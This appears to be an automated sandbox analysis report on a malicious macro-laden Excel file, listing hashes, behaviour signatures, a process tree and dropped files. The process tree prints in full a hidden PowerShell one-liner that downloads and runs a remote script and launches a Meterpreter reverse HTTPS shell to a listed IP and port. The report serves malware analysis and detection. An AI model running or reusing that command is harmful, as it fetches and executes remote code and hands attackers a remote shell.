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Analysis

  • max time kernel
    47s
  • max time network
    16s
  • platform
    windows7_x64
  • resource
    win7-20240611-en
  • resource tags

    arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
  • submitted
    04/07/2024, 21:37

General

  • Target

    ac0600573668d313abdbaf51bcaa2425da8ec9dafbedf876eca44445b507e55c.xls

  • Size

    44KB

  • MD5

    3f943099acc31f5945e685b665679759

  • SHA1

    3a562cffa6a09468c360d8cebf3abc6652a0259c

  • SHA256

    ac0600573668d313abdbaf51bcaa2425da8ec9dafbedf876eca44445b507e55c

  • SHA512

    b4df9e421c105b59ef4ad000b468f2f658c16eb27ab6677428f0c9a452d3c97e29038b8fc44abef9820585c29d3f902b66fbf46500e68cce4abb9e3ab03cd716

  • SSDEEP

    768:7ltvoxHl8kkhzOjugt643rUdc1um4GKt+cL23dA7q48uGCWeuF6mQQccvJ9ac29I:7Ml8kkhzOjugt643rGc1um4GKt+cL23F

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\ac0600573668d313abdbaf51bcaa2425da8ec9dafbedf876eca44445b507e55c.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2124
    • C:\Windows\SysWOW64\wscript.exe
      wscript C:\Users\Public\config.vbs
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2660
      • C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2396
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2924

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PR0QUR7JTOE339G7TNN2.temp

    Filesize

    7KB

    MD5

    3b9349d74038f140385c285a5ee022dd

    SHA1

    27592205abb0e35c73da89933b91a6b07b03f81c

    SHA256

    161c63b84161856c3389a59a72a28ef3514e8edb80ab0d2d605e52ad590286d7

    SHA512

    d18e9a1180dded0d1e47e5a96dd1b85e6afa45079aca062c59511dd4f6f893fd8146103b1a0e9672d5b118eb4a3288359d255aa3ca9a2f37e50211453e5ae356

  • C:\Users\Public\config.vbs

    Filesize

    461B

    MD5

    ce52ab154163c511f0efa6a61e22ab64

    SHA1

    9f12cc215e15802eddcb02cb5370ef16b21fa3a6

    SHA256

    df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17

    SHA512

    cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78

  • memory/2124-8-0x0000000000510000-0x0000000000610000-memory.dmp

    Filesize

    1024KB

  • memory/2124-17-0x0000000000510000-0x0000000000610000-memory.dmp

    Filesize

    1024KB

  • memory/2124-2-0x0000000000510000-0x0000000000610000-memory.dmp

    Filesize

    1024KB

  • memory/2124-4-0x0000000000510000-0x0000000000610000-memory.dmp

    Filesize

    1024KB

  • memory/2124-12-0x0000000000510000-0x0000000000610000-memory.dmp

    Filesize

    1024KB

  • memory/2124-18-0x0000000000510000-0x0000000000610000-memory.dmp

    Filesize

    1024KB

  • memory/2124-7-0x0000000000510000-0x0000000000610000-memory.dmp

    Filesize

    1024KB

  • memory/2124-11-0x0000000000510000-0x0000000000610000-memory.dmp

    Filesize

    1024KB

  • memory/2124-10-0x0000000000510000-0x0000000000610000-memory.dmp

    Filesize

    1024KB

  • memory/2124-9-0x0000000000510000-0x0000000000610000-memory.dmp

    Filesize

    1024KB

  • memory/2124-3-0x0000000000510000-0x0000000000610000-memory.dmp

    Filesize

    1024KB

  • memory/2124-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2124-37-0x0000000000510000-0x0000000000610000-memory.dmp

    Filesize

    1024KB

  • memory/2124-27-0x0000000000510000-0x0000000000610000-memory.dmp

    Filesize

    1024KB

  • memory/2124-32-0x0000000000510000-0x0000000000610000-memory.dmp

    Filesize

    1024KB

  • memory/2124-20-0x0000000000510000-0x0000000000610000-memory.dmp

    Filesize

    1024KB

  • memory/2124-6-0x0000000000510000-0x0000000000610000-memory.dmp

    Filesize

    1024KB

  • memory/2124-5-0x0000000000510000-0x0000000000610000-memory.dmp

    Filesize

    1024KB

  • memory/2124-49-0x0000000000510000-0x0000000000610000-memory.dmp

    Filesize

    1024KB

  • memory/2124-48-0x0000000000510000-0x0000000000610000-memory.dmp

    Filesize

    1024KB

  • memory/2124-1-0x0000000071E9D000-0x0000000071EA8000-memory.dmp

    Filesize

    44KB

  • memory/2124-47-0x0000000071E9D000-0x0000000071EA8000-memory.dmp

    Filesize

    44KB

  • memory/2924-44-0x0000000001CD0000-0x0000000001CD8000-memory.dmp

    Filesize

    32KB

  • memory/2924-43-0x000000001B950000-0x000000001BC32000-memory.dmp

    Filesize

    2.9MB